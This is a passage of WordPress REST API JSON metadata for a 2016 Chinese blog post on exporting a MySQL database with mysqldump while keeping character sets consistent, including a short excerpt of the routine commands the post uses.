Blog","og_description":"\u9996\u5148\u9700\u8981\u4fdd\u8bc1\u4e24\u4e2a\u6570\u636e\u5e93\u7684\u5b57\u7b26\u7f16\u7801\u76f8\u540c\uff0c\u67e5\u770b\u547d\u4ee4\uff1a    show variables like 'char%';    \u82e5\u4e0d\u76f8\u540c\u7528\u4ee5\u4e0b\u547d\u4ee4\u8bbe\u7f6e\u5b57\u7b26\u7f16\u7801\uff1a    set character set latin1;    \u5bfc\u51fa\u6570\u636e\u5e93\u7528\u4ee5\u4e0b\u547d\u4ee4\uff1a    mysqldump -uroot -p12345 -hlocalhost&nbsp;--default-character-set=latin1 --databases dbName &amp;g...","og_url":"http:\/\/weizn.net\/?p=208","og_site_name":"Wayne&#039;s Blog","article_published_time":"2016-12-03T13:47:18+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"7 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=208#webpage","url":"http:\/\/weizn.net\/?p=208","name":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93 - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2016-12-03T13:47:18+00:00","dateModified":"2016-12-03T13:47:18+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=208#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=208"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=208#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=208#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=208#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93","datePublished":"2016-12-03T13:47:18+00:00","dateModified":"2016-12-03T13:47:18+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=208#webpage"},"wordCount":1407,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["C\/C++"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=208#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=208"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=208"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}